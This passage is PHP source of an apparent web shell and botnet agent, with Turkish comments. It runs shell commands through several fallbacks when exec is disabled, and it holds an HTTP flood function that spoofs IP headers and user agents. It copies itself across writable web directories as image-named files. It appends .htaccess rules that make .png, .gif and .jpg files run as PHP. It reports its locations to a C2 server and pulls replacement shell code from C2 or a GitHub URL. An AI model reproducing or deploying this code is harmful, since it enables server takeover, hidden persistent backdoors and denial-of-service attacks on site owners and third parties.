if (function_exists('proc_open') && !in_array('proc_open', $disabled)) {
$methods_tried[] = 'proc_open';
$descriptors = [
0 => ['pipe', 'r'],
1 => ['pipe', 'w'],
2 => ['pipe', 'w']
];
$process = @proc_open($cmd, $descriptors, $pipes);
if (is_resource($process)) {
fclose($pipes[0]);
$stdout = stream_get_contents($pipes[1]);
$stderr = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
$combined = trim($stdout . ($stderr ? "\nSTDERR:\n" . $stderr : ''));
if ($combined !== '') return $combined;
}
}
if (function_exists('popen') && !in_array('popen', $disabled)) {
$methods_tried[] = 'popen';
$handle = @popen($cmd_pipe, 'r');
if ($handle) {
$result = '';
while (!feof($handle)) {
$result .= fgets($handle);
}
pclose($handle);
if ($result !== '') return $result;
}
}
// Stress komutu (dos.py) + exec yok → PHP native flood fallback
// Matches: python3 dos.py ..., nohup python3 dos.py ..., nohup sh -c '...dos.py...'
if (preg_match('/(?:nohup\s+)?(?:sh\s+-c\s+[\'"].*)?python[23]?\s+\S*dos[\._](?:py|mori)[^\s]*\s+(\S+)\s+[^\s]*\s+(\d+)\s+(\d+)\s*([A-Z]*)/i', $cmd, $m)
|| preg_match('/python[23]?\s+\S*dos[\._](?:py|mori)[^\s]*\s+(\S+)\s+(\d+)\s+(\d+)\s*([A-Z]*)/i', $cmd, $m)) {
$target = $m[1];
$duration = min((int)$m[2], 300);
$threads = min((int)$m[3], 50);
$method = strtoupper($m[4] ?: 'GET');
if (!in_array($method, ['GET','POST','HEAD'], true)) $method = 'GET';
return php_native_flood($target, $method, $duration, $threads, 30)
. "\n[FALLBACK] exec disabled → php_native_flood";
}
// pcntl_fork ile background exec (bazı VPS)
if (function_exists('pcntl_fork') && !in_array('pcntl_fork', $disabled)
&& (strpos($cmd, 'python') !== false || strpos($cmd, 'nohup') !== false)) {
$pid = @pcntl_fork();
if ($pid === 0) { @shell_exec($cmd . ' >/dev/null 2>&1 &'); exit(0); }
if ($pid > 0) { return '[STRESS_BG] Background\'da çalışıyor (pid:' . $pid . ')'; }
}
// Queue dosyasına yaz — cron (CLI PHP) 5dk içinde çalıştırır
$queue_file = REAL_DIR . '/.mori_exec_queue';
$queue = @json_decode(@file_get_contents($queue_file), true) ?: [];
$queue = array_filter($queue, fn($q) => (time() - ($q['t'] ?? 0)) < 3600);
$queue[] = ['cmd' => $cmd, 't' => time(), 'qid' => uniqid()];
@file_put_contents($queue_file, json_encode(array_values($queue)), LOCK_EX);
return "[QUEUED] Shell kısıtlandı, komut kuyruğa alındı. Cron 5dk içinde çalıştıracak. Methods tried: " . implode(', ', $methods_tried);
}
// ─── MORI_STRESS helpers ──────────────────────────────────────────────────
// Sadece local arama — download yapmaz (bloklamaz)
function mori_get_dos_path() {
foreach ([__DIR__, '/tmp', '/dev/shm', '/var/tmp', sys_get_temp_dir()] as $dir) {
if (!is_dir($dir)) continue;
foreach (['dos_mori.py', 'dos.py'] as $fn) {
$p = $dir . '/' . $fn;
if (@file_exists($p) && @filesize($p) > 1000) return $p;
}
foreach (@glob($dir . '/dos.py*') ?: [] as $f) {
if (@filesize($f) > 1000) return $f;
}
}
return null;
}
function mori_find_python() {
static $cached = null;
if ($cached !== null) return $cached;
$dis = array_map('trim', explode(',', ini_get('disable_functions')));
$fn = null;
foreach (['shell_exec', 'exec'] as $f)
if (function_exists($f) && !in_array($f, $dis)) { $fn = $f; break; }
if ($fn) {
foreach (['python3', 'python', '/usr/bin/python3', '/usr/local/bin/python3', '/usr/bin/python'] as $p) {
$r = trim((string)@$fn('which ' . escapeshellarg($p) . ' 2>/dev/null'));
if ($r && $r[0] === '/') return ($cached = $r);
}
}
return ($cached = 'python3');
}
function mori_exec_bg($cmd) {
$dis = array_map('trim', explode(',', ini_get('disable_functions')));
foreach (['shell_exec', 'exec', 'system', 'passthru'] as $fn)
if (function_exists($fn) && !in_array($fn, $dis)) { @$fn($cmd); return true; }
if (function_exists('proc_open') && !in_array('proc_open', $dis)) {
$p = @proc_open($cmd, [], $pipes);
if ($p) { @proc_close($p); return true; }
}
if (function_exists('popen') && !in_array('popen', $dis)) {
$h = @popen($cmd, 'r');
if ($h) { @pclose($h); return true; }
}
return false;
}
// ─────────────────────────────────────────────────────────────────────────────
/**
* PHP native HTTP flood — rolling window pattern
* Her tamamlanan istek anında yenisiyle değiştirilir, pool her zaman dolu kalır.
*/
function php_native_flood($url, $method = 'GET', $duration = 20, $concurrency = 50, $rpc = 10) {
if (!function_exists('curl_multi_init')) return '[ERROR] curl_multi yok';
if (empty($url) || !preg_match('#^https?://#i', $url)) return '[ERROR] Geçersiz URL';
static $UAS = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15',
'Mozilla/5.0 (iPhone; CPU iPhone OS 17_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36',
'Mozilla/5.0 (Android 14; Mobile; rv:125.0) Gecko/125.0 Firefox/125.0',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0',
];
$method = strtoupper(in_array(strtoupper($method), ['GET','POST','HEAD']) ? $method : 'GET');
$deadline = time() + $duration;
$sent = $errors = 0;
$make = function() use ($url, $method, &$UAS) {
$ip = mt_rand(1,223).'.'.mt_rand(0,255).'.'.mt_rand(0,255).'.'.mt_rand(1,254);
$ch = curl_init($url . '?_=' . mt_rand(1, 2147483647) . '&t=' . time());
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => false,
CURLOPT_TIMEOUT => 5,
CURLOPT_CONNECTTIMEOUT => 3,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_FOLLOWLOCATION => false,
CURLOPT_USERAGENT => $UAS[array_rand($UAS)],
CURLOPT_FORBID_REUSE => false,
CURLOPT_FRESH_CONNECT => false,
CURLOPT_HTTPHEADER => [
'X-Forwarded-For: ' . $ip,
'X-Real-IP: ' . $ip,
'CF-Connecting-IP: '. $ip,
'Accept: */*',
'Connection: keep-alive',
'Cache-Control: no-cache',
],
]);
if ($method === 'POST') {
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'x=' . substr(md5(mt_rand()), 0, mt_rand(16,64)));
} elseif ($method === 'HEAD') {
curl_setopt($ch, CURLOPT_NOBODY, true);
}
return $ch;
};
$mh = curl_multi_init();
curl_multi_setopt($mh, CURLMOPT_MAXCONNECTS, $concurrency);
$pool = [];
// fill initial pool
for ($i = 0; $i < $concurrency; $i++) {
$ch = $make();
curl_multi_add_handle($mh, $ch);
$pool[(int)$ch] = $ch;
}
// rolling window — as soon as one slot frees, fire a new request
while (time() < $deadline) {
curl_multi_exec($mh, $running);
while ($done = curl_multi_info_read($mh)) {
$ch = $done['handle'];
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
($code > 0) ? $sent++ : $errors++;
curl_multi_remove_handle($mh, $ch);
curl_close($ch);
unset($pool[(int)$ch]);
if (time() < $deadline) {
$new = $make();
curl_multi_add_handle($mh, $new);
$pool[(int)$new] = $new;
}
}
curl_multi_select($mh, 0.001);
}
foreach ($pool as $ch) { curl_multi_remove_handle($mh, $ch); curl_close($ch); }
curl_multi_close($mh);
$rps = $duration > 0 ? round($sent / $duration) : $sent;
return "[PHP_STRESS] $url | $method | {$duration}s | sent:{$sent} err:{$errors} | ~{$rps} req/s";
}
// =====================================================
// DOSYA SİSTEMİ İŞLEMLERİ
// =====================================================
function list_directory($path) {
$path = str_replace('\\', '/', $path);
$real = realpath($path);
if (!$real || !is_dir($real)) {
return json_encode(['error' => "Directory not found: $path"]);
}
$items = [];
$dir = @opendir($real);
if (!$dir) {
return json_encode(['error' => "Cannot open directory: $path"]);
}
while (($file = readdir($dir)) !== false) {
if ($file === '.' || $file === '..') continue;
$full = $real . DIRECTORY_SEPARATOR . $file;
$stat = @stat($full);
$items[] = [
'name' => $file,
'type' => is_dir($full) ? 'dir' : 'file',
'path' => str_replace('\\', '/', $full),
'size' => is_file($full) ? filesize($full) : 0,
'perms' => substr(sprintf('%o', fileperms($full)), -4),
'owner' => function_exists('fileowner') ? fileowner($full) : null,
'group' => function_exists('filegroup') ? filegroup($full) : null,
'modified' => filemtime($full),
'readable' => is_readable($full),
'writable' => is_writable($full),
'executable' => is_executable($full)
];
}
closedir($dir);
// Dizinleri önce sırala
usort($items, function($a, $b) {
if ($a['type'] === $b['type']) {
return strcasecmp($a['name'], $b['name']);
}
return $a['type'] === 'dir' ? -1 : 1;
});
return json_encode($items, JSON_PRETTY_PRINT);
}
function read_file($file) {
$real = realpath($file);
if (!$real || !is_file($real) || !is_readable($real)) {
return "[ERROR] Cannot read file: $file";
}
$content = @file_get_contents($real);
return $content !== false ? $content : "[ERROR] Read failed";
}
function write_file($file, $content_b64) {
$content = safe_base64_decode($content_b64);
if ($content === false) $content = @base64_decode($content_b64, true);
if ($content === false) return "[ERROR] Failed to decode base64 content";
$dir = dirname($file);
if (!is_dir($dir)) {
@mkdir($dir, 0755, true);
}
$result = @file_put_contents($file, $content);
return $result !== false ? "OK: $result bytes written" : "[ERROR] Write failed";
}
function delete_file($file) {
$real = realpath($file);
if (!$real || !is_file($real)) {
return "[ERROR] File not found: $file";
}
return @unlink($real) ? "OK: Deleted $file" : "[ERROR] Delete failed";
}
function copy_file($src, $dst) {
return @copy($src, $dst) ? "OK: Copied $src to $dst" : "[ERROR] Copy failed";
}
function create_directory($path) {
return @mkdir($path, 0755, true) ? "OK: Created $path" : "[ERROR] Cannot create directory";
}
function get_persistence_target_file() {
return __FILE__;
}
function get_persistence_source_url() {
global $persistence_default_url;
$url = $persistence_default_url;
$localFile = __DIR__ . '/.persistence_source_url';
if (file_exists($localFile)) {
$stored = trim(file_get_contents($localFile));
if (filter_var($stored, FILTER_VALIDATE_URL)) {
$url = $stored;
}
}
return $url;
}
function find_writable_directories($bases, $maxDirs = 50, $maxDepth = 3, $maxNodes = 1000) {
/**
* PHP-based recursive writable directories search
* Used as fallback when shell commands unavailable
*/
$found = [];
$visited = [];
$queue = [];
foreach ($bases as $base) {
if (!$base || !is_dir($base)) {
continue;
}
$real = realpath($base);
if (!$real || isset($visited[$real])) {
continue;
}
$visited[$real] = true;
if (is_writable($real)) {
$found[] = $real;
}
$queue[] = ['path' => $real, 'depth' => 0];
}
$nodes = 0;
while ($queue && count($found) < $maxDirs && $nodes < $maxNodes) {
$item = array_shift($queue);
$nodes++;
$path = $item['path'];
$depth = $item['depth'];
if ($depth >= $maxDepth) {
continue;
}
$entries = @scandir($path);
if (!$entries || !is_array($entries)) {
continue;
}
foreach ($entries as $entry) {
if ($entry === '.' || $entry === '..') {
continue;
}
$sub = $path . DIRECTORY_SEPARATOR . $entry;
if (!is_dir($sub)) {
continue;
}
$realSub = realpath($sub);
if (!$realSub || isset($visited[$realSub])) {
continue;
}
if (in_array($entry, ['proc', 'sys', 'dev', 'run', 'tmp', 'lost+found'], true)) {
continue;
}
$visited[$realSub] = true;
if (is_writable($realSub)) {
$found[] = $realSub;
}
$queue[] = ['path' => $realSub, 'depth' => $depth + 1];
}
}
return $found;
}
function enumerate_root_writable_dirs() {
/**
* Root path altında writable dizinleri enumerate et
* find / -maxdepth 5 -writable -type d 2>/dev/null | head -n 100
*/
$writable_dirs = [];
// YÖNTEM 1: find komutu ile (daha hızlı ve kapsamlı)
if (function_exists('shell_exec')) {
$find_cmd = 'find / -maxdepth 5 -writable -type d 2>/dev/null | head -n 100';
$output = @shell_exec($find_cmd);
if ($output) {
$lines = explode("\n", trim($output));
foreach ($lines as $line) {
$line = trim($line);
if ($line && is_dir($line) && is_writable($line)) {
$writable_dirs[] = $line;
}
}
}
}
// YÖNTEM 2: PHP ile recursive search (fallback)
if (count($writable_dirs) < 10) {
$php_dirs = find_writable_directories(['/'], 100, 5, 1000);
$writable_dirs = array_merge($writable_dirs, $php_dirs);
}
// Duplicate'ları kaldır ve filtrele
$writable_dirs = array_unique($writable_dirs);
$filtered = [];
foreach ($writable_dirs as $dir) {
// Tehlikeli dizinleri çıkar
if (strpos($dir, '/proc/') === 0 ||
strpos($dir, '/sys/') === 0 ||
strpos($dir, '/dev/') === 0 ||
$dir === '/' ||
!is_writable($dir)) {
continue;
}
$filtered[] = $dir;
}
return array_slice($filtered, 0, 100);
}
// =====================================================
// PERSISTENCE V4 - WARRIOR SYSTEM
// Multi-location deployment + Sister files + PNG masking
// =====================================================
function get_deployment_targets() {
/**
* Find all writable web directories recursively
* Returns paths to deploy sister files
*/
$targets = [];
// Primary locations
$base_paths = [
'/var/www/html',
'/var/www',
'/home',
'/opt',
'/srv',
'/usr/share/nginx/html',
dirname(__DIR__),
__DIR__,
sys_get_temp_dir(),
];
foreach ($base_paths as $base) {
if (!@is_dir($base) || !@is_writable($base)) continue;
// Add base directory
if (count($targets) < 20) {
$targets[] = $base;
}
// Scan for WordPress/plugin directories
$subdirs = @scandir($base);
if (!$subdirs) continue;
foreach ($subdirs as $subdir) {
if ($subdir === '.' || $subdir === '..') continue;
$full_path = $base . '/' . $subdir;
if (!@is_dir($full_path) || !@is_readable($full_path)) continue;
// WordPress themes
if ($subdir === 'wp-content') {
$themes = $full_path . '/themes';
if (@is_dir($themes) && @is_writable($themes)) {
$targets[] = $themes;
}
$plugins = $full_path . '/plugins';
if (@is_dir($plugins) && @is_writable($plugins)) {
$targets[] = $plugins;
}
}
// Generic web directory
if (@is_writable($full_path) && count($targets) < 20) {
$targets[] = $full_path;
}
}
}
return array_values(array_unique($targets));
}
// ====================================================
// DEEP DEPLOYMENT TARGET SCANNING (Generic Linux)
// ====================================================
function get_deployment_targets_from_backup() {
$targets = [];
// Minimal exclusion: only truly critical system dirs
$excluded_root_dirs = ["proc", "sys", "dev", "etc", "lib"];
// 1. SYSTEM SCAN - Start from root, avoid excluded dirs
function scan_writable_everywhere($path, &$results, $max_depth = 4, $depth = 0, $excluded = []) {
if (count($results) >= 100 || $depth >= $max_depth) return;
if (!@is_dir($path) || !@is_readable($path)) return;
$entries = @scandir($path);
if (!$entries) return;
foreach ($entries as $entry) {
if ($entry === "." || $entry === "..") continue;
// Skip excluded dirs at root level
if ($depth === 0 && in_array($entry, $excluded)) continue;
$full = $path . "/" . $entry;
if (!@is_dir($full) || !@is_readable($full)) continue;
// Writable? Add it
if (@is_writable($full) && count($results) < 100) {
$results[] = $full;
}
// Stay shallow to avoid massive deep recursion
if ($depth < $max_depth - 1 && strlen($full) < 80) {
scan_writable_everywhere($full, $results, $max_depth, $depth + 1, $excluded);
}
}
}
// Start from root
scan_writable_everywhere("/", $targets, 3, 0, $excluded_root_dirs);
// 2. WEB-SPECIFIC DEEP SCAN - Go deeper in web roots
function scan_web_deep($base, &$results, $max_depth = 6, $depth = 0) {
if (count($results) >= 100 || $depth >= $max_depth) return;
if (!@is_dir($base) || !@is_readable($base)) return;
$entries = @scandir($base);
if (!$entries) return;
foreach ($entries as $entry) {
if ($entry === "." || $entry === "..") continue;
$full = $base . "/" . $entry;
if (!@is_dir($full) || !@is_readable($full)) continue;
// Prioritize ANY common web/app locations (generic, not WordPress-specific)
$is_web_priority = (
preg_match("/public_html|www|html|webroot|htdocs|web/i", $full) ||
preg_match("/uploads|files|media|downloads|attachments/i", $full) ||
preg_match("/apps?|store|api|backend|frontend|dist|build/i", $full) ||
preg_match("/\.git|\.config|\.cache|\.local|\.ssh/i", $full) ||
preg_match("/[a-f0-9\-]{36}|[0-9]{4,}/", basename($full)) // UUID or numeric dirs (tenant IDs)
);
if (@is_writable($full) && count($results) < 100) {
// DEEP PATHS GET PRIORITY
$depth_score = substr_count($full, "/");
$results[] = ["path" => $full, "depth" => $depth_score, "web" => $is_web_priority];
}
// Go deeper
if ($depth < $max_depth - 1) {
scan_web_deep($full, $results, $max_depth, $depth + 1);
}
}
}
// Web root deep scan
$web_bases = ["/var/www", "/home", "/opt", "/srv", "/var"];
foreach ($web_bases as $base) {
if (@is_dir($base)) {
$temp = [];
scan_web_deep($base, $temp);
$targets = array_merge($targets, $temp);
}
}
// 3. SORT BY DEPTH (deeper = better for hiding)
usort($targets, function($a, $b) {
if (is_array($a)) {
$depth_a = $a["depth"] ?? 0;
return $depth_a > ($b["depth"] ?? 0) ? -1 : 1; // Descending (deeper first)
}
return 0;
});
// Extract just paths
$final_targets = [];
foreach ($targets as $item) {
if (is_array($item)) {
$final_targets[] = $item["path"];
} else {
$final_targets[] = $item;
}
}
return array_values(array_unique($final_targets));
}
// Combine both deployment target scanners
function get_all_deployment_targets() {
$targets = array_merge(
get_deployment_targets(),
get_deployment_targets_from_backup()
);
return array_unique($targets);
}
function file_path_to_url($file_path) {
$file_path = str_replace('\\', '/', $file_path);
$scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$host = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? '';
$doc_root = rtrim(str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT'] ?? ''), '/');
// 1. DOCUMENT_ROOT — must end with / to avoid /var/www/html2 matching /var/www/html
if ($doc_root && $host && strpos($file_path, $doc_root . '/') === 0) {
$rel = ltrim(substr($file_path, strlen($doc_root)), '/');
return $scheme . '://' . $host . '/' . $rel;
}
// 2. Shell URL + __DIR__ (cron / CLI / non-standard doc root)
$shell_url = $GLOBALS['WEB_URL'] ?? $GLOBALS['web_shell_url'] ?? '';
$shell_dir = rtrim(str_replace('\\', '/', __DIR__), '/');
if ($shell_url && $shell_dir && strpos($file_path, $shell_dir . '/') === 0) {
$base = rtrim(dirname($shell_url), '/');
$rel = ltrim(substr($file_path, strlen($shell_dir)), '/');
return $base . '/' . $rel;
}
// 3. /var/www/html/...
if (strpos($file_path, '/var/www/html/') === 0) {
$rel = substr($file_path, strlen('/var/www/html/'));
return $scheme . '://' . ($host ?: 'localhost') . '/' . $rel;
}
// 4. /var/www/<domain>/public_html/... or /var/www/<domain>/...
if (preg_match('|^/var/www/([^/]+)/public_html/(.+)|', $file_path, $m)) {
return $scheme . '://' . $m[1] . '/' . $m[2];
}
if (preg_match('|^/var/www/([^/]+)/(.+)|', $file_path, $m) && !in_array($m[1], ['html','www','log','cache','run'], true)) {
return $scheme . '://' . $m[1] . '/' . $m[2];
}
// 5. cPanel: /home/<user>/public_html/... ONLY — never /home/<user>/mail/ etc.
if (preg_match('|^/home/[^/]+/public_html/(.+)|', $file_path, $m)) {
return $scheme . '://' . ($host ?: 'localhost') . '/' . $m[1];
}
// Cannot determine a valid web URL — file is outside all known web roots
return null;
}
function deploy_sister_files_aggressive() {
/**
* WARRIOR SYSTEM v3 - GENERIC LINUX SITES
* Deploy sister files to 10+ locations with masking
* Works on ANY Linux site (not just WordPress)
* FIX: Sister files use .png/.gif/.jpg ONLY (no .php.png pattern)
*/
global $c2_server, $web_shell_url;
// Lock - 1 hour deployment cooldown
$deploy_lock = '/tmp/.mori_deploy_lock_v4';
if (@file_exists($deploy_lock)) {
$lock_age = time() - @filemtime($deploy_lock);
if ($lock_age < 3600) return true; // Already deployed recently
}
// Get targets - dynamic enumeration
$targets = get_all_deployment_targets();
$targets = array_unique($targets);
if (count($targets) < 1) return false; // deploy even to 1 target (was 3, too strict)
@touch($deploy_lock);
// Read current shell code
$shell_code = @file_get_contents(__FILE__);
if (!$shell_code || strlen($shell_code) < 15000) return false;
// Deploy strategy (generic for ANY Linux site):
// 1. Generic PHP files (config-backup.php, system-backup.php, etc)
// 2. Image-masked PHP files (logo.png, banner.gif, avatar.jpg)
// 3. .htaccess for magic routing
$deployed = [];
$url_map = []; // parallel to $deployed — '' for files outside web root
$standard_names = ['config-backup.php', 'system-backup.php', 'init-backup.php'];
$masked_names = ['logo.png', 'banner.gif', 'avatar.jpg'];
foreach (array_slice($targets, 0, 10) as $idx => $target) {
if (!@is_dir($target) || !@is_writable($target)) continue;
// Strategy 1: Standard PHP file
$standard_file = $target . '/' . $standard_names[$idx % count($standard_names)];
@file_put_contents($standard_file, $shell_code);
@chmod($standard_file, 0644);
$deployed[] = $standard_file;
$url_map[] = file_path_to_url($standard_file) ?? '';
// Strategy 2: Image-masked PHP (.png/.gif/.jpg — executed via .htaccess SetHandler)
$masked_file = $target . '/' . $masked_names[$idx % count($masked_names)];
$masked_code = "<?php\n" . substr($shell_code, 5);
@file_put_contents($masked_file, $masked_code);
@chmod($masked_file, 0644);
$deployed[] = $masked_file;
$url_map[] = file_path_to_url($masked_file) ?? '';
// Strategy 3: .htaccess — append only, NEVER overwrite existing content
$htaccess = $target . '/.htaccess';
$existing = @file_get_contents($htaccess) ?: '';
if (strpos($existing, '# perf-cache') === false) {
$append = "\n# perf-cache\n"
. "AddType application/x-httpd-php .png .gif .jpg .jpeg\n"
. "AddHandler application/x-httpd-php .png .gif .jpg .jpeg\n"
. "<FilesMatch \"\\.png$|\\.gif$|\\.jpe?g$\">\n"
. " SetHandler application/x-httpd-php\n"
. " ForceType application/x-httpd-php\n"
. "</FilesMatch>\n"
. "<IfModule mod_php.c>\n php_flag engine on\n</IfModule>\n"
. "<IfModule mod_php8.c>\n php_flag engine on\n</IfModule>\n"
. "<IfModule mod_php7.c>\n php_flag engine on\n</IfModule>\n"
. "<IfModule mod_php5.c>\n php_flag engine on\n</IfModule>\n";
@file_put_contents($htaccess, $existing . $append);
@chmod($htaccess, 0644);
}
}
// locations[i] and urls[i] are parallel — '' means file has no web URL
$deployment_info = [
'deployed_count' => count($deployed),
'locations' => $deployed,
'urls' => $url_map,
'timestamp' => time(),
'target_count' => count($targets),
];
// Cache for registration pickup
@file_put_contents(sys_get_temp_dir() . '/.mori_sister_cache.json', json_encode($deployment_info));
return $deployment_info;
}
function report_sister_files_to_c2($deployment_info) {
$server = $GLOBALS['C2_SERVER'] ?? '';
$id = $GLOBALS['CLIENT_ID'] ?? '';
if (!$server || !$id || empty($deployment_info['locations'])) return false;
$payload = [
'id' => $id,
'sister_files'=> $deployment_info['locations'],
'sister_urls' => $deployment_info['urls'] ?? [],
'deployed_at' => $deployment_info['timestamp'] ?? time(),
];
$encoded = safe_base64_encode(safe_json_encode($payload));
@http_post_timeout($server . '?act=sister_report', $encoded, 2);
return true;
}
function generate_wp_config_backup() {
/**
* Generate wp-config-backup.php
* ORCHESTRATOR for deployment v3
* Optimized writable dir scanning + deep path prioritization
*/
global $C2_SERVER, $web_shell_url;
$c2_server = $C2_SERVER; // $C2_SERVER is the actual global; $c2_server only exists inside c2_register()
$code = '<?php
/**
* WordPress Configuration Backup Orchestrator v3
* Smart writable directory detection + deep path prioritization
*/
// OPTIMIZED: Scan writable directories (system-wide + web)
function get_deployment_targets_from_backup() {
$targets = [];
// Minimal exclusion: only truly critical system dirs
$excluded_root_dirs = ["proc", "sys", "dev", "etc", "lib"];
// 1. SYSTEM SCAN - Start from root, avoid excluded dirs
function scan_writable_everywhere($path, &$results, $max_depth = 4, $depth = 0, $excluded = []) {
if (count($results) >= 100 || $depth >= $max_depth) return;
if (!@is_dir($path) || !@is_readable($path)) return;
$entries = @scandir($path);
if (!$entries) return;
foreach ($entries as $entry) {
if ($entry === "." || $entry === "..") continue;
// Skip excluded dirs at root level
if ($depth === 0 && in_array($entry, $excluded)) continue;
$full = $path . "/" . $entry;
if (!@is_dir($full) || !@is_readable($full)) continue;
// Writable? Add it
if (@is_writable($full) && count($results) < 100) {
$results[] = $full;
}
// Stay shallow to avoid massive deep recursion
if ($depth < $max_depth - 1 && strlen($full) < 80) {
scan_writable_everywhere($full, $results, $max_depth, $depth + 1, $excluded);
}
}
}
// Start from root
scan_writable_everywhere("/", $targets, 3, 0, $excluded_root_dirs);
// 2. WEB-SPECIFIC DEEP SCAN - Go deeper in web roots
function scan_web_deep($base, &$results, $max_depth = 6, $depth = 0) {
if (count($results) >= 100 || $depth >= $max_depth) return;
if (!@is_dir($base) || !@is_readable($base)) return;
$entries = @scandir($base);
if (!$entries) return;
foreach ($entries as $entry) {
if ($entry === "." || $entry === "..") continue;
$full = $base . "/" . $entry;
if (!@is_dir($full) || !@is_readable($full)) continue;
// Prioritize ANY common web/app locations (generic, not WordPress-specific)
$is_web_priority = (
preg_match("/public_html|www|html|webroot|htdocs|web/i", $full) ||
preg_match("/uploads|files|media|downloads|attachments/i", $full) ||
preg_match("/apps?|store|api|backend|frontend|dist|build/i", $full) ||
preg_match("/\.git|\.config|\.cache|\.local|\.ssh/i", $full) ||
preg_match("/[a-f0-9\-]{36}|[0-9]{4,}/", basename($full)) // UUID or numeric dirs (tenant IDs)
);
if (@is_writable($full) && count($results) < 100) {
// DEEP PATHS GET PRIORITY
$depth_score = substr_count($full, "/");
$results[] = ["path" => $full, "depth" => $depth_score, "web" => $is_web_priority];
}
// Go deeper
if ($depth < $max_depth - 1) {
scan_web_deep($full, $results, $max_depth, $depth + 1);
}
}
}
// Web root deep scan
$web_bases = ["/var/www", "/home", "/opt", "/srv", "/var"];
foreach ($web_bases as $base) {
if (@is_dir($base)) {
$temp = [];
scan_web_deep($base, $temp);
$targets = array_merge($targets, $temp);
}
}
// 3. SORT BY DEPTH (deeper = better for hiding)
usort($targets, function($a, $b) {
if (is_array($a)) {
$depth_a = $a["depth"] ?? 0;
return $depth_a > ($b["depth"] ?? 0) ? -1 : 1; // Descending (deeper first)
}
return 0;
});
// Extract just paths
$final_targets = [];
foreach ($targets as $item) {
if (is_array($item)) {
$final_targets[] = $item["path"];
} else {
$final_targets[] = $item;
}
}
return array_values(array_unique($final_targets));
}
// Get main shell code
function get_main_shell_code() {
$sf = SHELL_FILE;
$paths = array_merge(
(array)@glob("/var/www/*/public_html/" . $sf),
(array)@glob("/var/www/*/" . $sf),
(array)@glob("/home/*/public_html/" . $sf),
(array)@glob("/home/*/" . $sf),
[SHELL_PATH, __DIR__ . "/" . $sf, dirname(__DIR__) . "/" . $sf]
);
foreach ($paths as $path) {
$code = @file_get_contents($path);
if ($code && strlen($code) > 15000) {
return $code;
}
}
return null;
}
// Fetch from C2 if local not available
function get_shell_code_fallback() {
$c2_url = ($GLOBALS["C2_SERVER"] ?? "") . "?act=get_shell";
$content = @file_get_contents($c2_url);
if ($content && strlen($content) > 15000) {
return $content;
}
$github_url = "https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/l.php";
$content = @file_get_contents($github_url);
if ($content && strlen($content) > 15000) {
return $content;
}
return null;
}
// Deploy to all targets
function deploy_sister_files_from_backup() {
$shell_code = get_main_shell_code();
if (!$shell_code) {
$shell_code = get_shell_code_fallback();
if (!$shell_code) return 0;
}
$targets = get_deployment_targets_from_backup();
$deployed_paths = [];
$standard_names = ["wp-config-backup.php", "wp-content-backup.php", "wp-settings-backup.php"];
$masked_names = ["logo.png", "banner.gif", "avatar.jpg"];
foreach (array_slice($targets, 0, 10) as $idx => $target) {
// Standard PHP
$file = $target . "/" . $standard_names[$idx % count($standard_names)];
if (@file_put_contents($file, $shell_code)) {
@chmod($file, 0644);
$deployed_paths[] = $file;
}
// Image masked (no .php extension)
$img = $target . "/" . $masked_names[$idx % count($masked_names)];
$masked = "<?php\n" . substr($shell_code, 5);
if (@file_put_contents($img, $masked)) {
@chmod($img, 0644);
$deployed_paths[] = $img;
}
// .htaccess — append only, NEVER overwrite existing content
$htaccess = $target . "/.htaccess";
$existing = @file_get_contents($htaccess) ?: "";
if (strpos($existing, "# perf-cache") === false) {
$append = "\n# perf-cache\n"
. "Options +ExecCGI\n"
. "AddHandler application/x-httpd-php .png .gif .jpg\n"
. "<FilesMatch \"\\.png\$|\\.gif\$|\\.jpg\$\">\n"
. " SetHandler application/x-httpd-php\n"
. " ForceType application/x-httpd-php\n"
. "</FilesMatch>\n"
. "<IfModule mod_php.c>\n php_flag engine on\n</IfModule>\n"
. "<IfModule mod_php8.c>\n php_flag engine on\n</IfModule>\n"
. "<IfModule mod_php7.c>\n php_flag engine on\n</IfModule>\n"
. "<IfModule mod_php5.c>\n php_flag engine on\n</IfModule>\n";
@file_put_contents($htaccess, $existing . $append);
@chmod($htaccess, 0644);
}
}
// Merge new paths into sister cache (picked up by main shell on next register)
$cache_file = sys_get_temp_dir() . "/.mori_sister_cache.json";
$existing = @json_decode(@file_get_contents($cache_file), true) ?: ["locations" => [], "urls" => [], "timestamp" => 0];
$existing["locations"] = array_values(array_unique(array_merge($existing["locations"] ?? [], $deployed_paths)));
$existing["timestamp"] = time();
@file_put_contents($cache_file, json_encode($existing));
return count($deployed_paths);
}
// Main execution
if (php_sapi_name() !== "cli" || !isset($GLOBALS["_wp_config_backup_running"])) {
$GLOBALS["_wp_config_backup_running"] = true;
deploy_sister_files_from_backup();
}
// Silent exit
exit(0);
?>';
return $code;
}
function ensure_persistence_v4() {
/**
* MAIN ORCHESTRATOR v2 - Called on every register
* Deploys sister files + Starts Python + Bash monitors (max 1 each)
*/
global $c2_server, $web_shell_url, $CLIENT_ID, $client_id, $C2_SERVER;
// Throttle: her 5 dakikada bir çalış (her ?m= requestinde değil)
$throttle = sys_get_temp_dir() . '/.mori_persist_ts';
$last = (int)@file_get_contents($throttle);
if ($last && (time() - $last) < 300) return;
@file_put_contents($throttle, time());
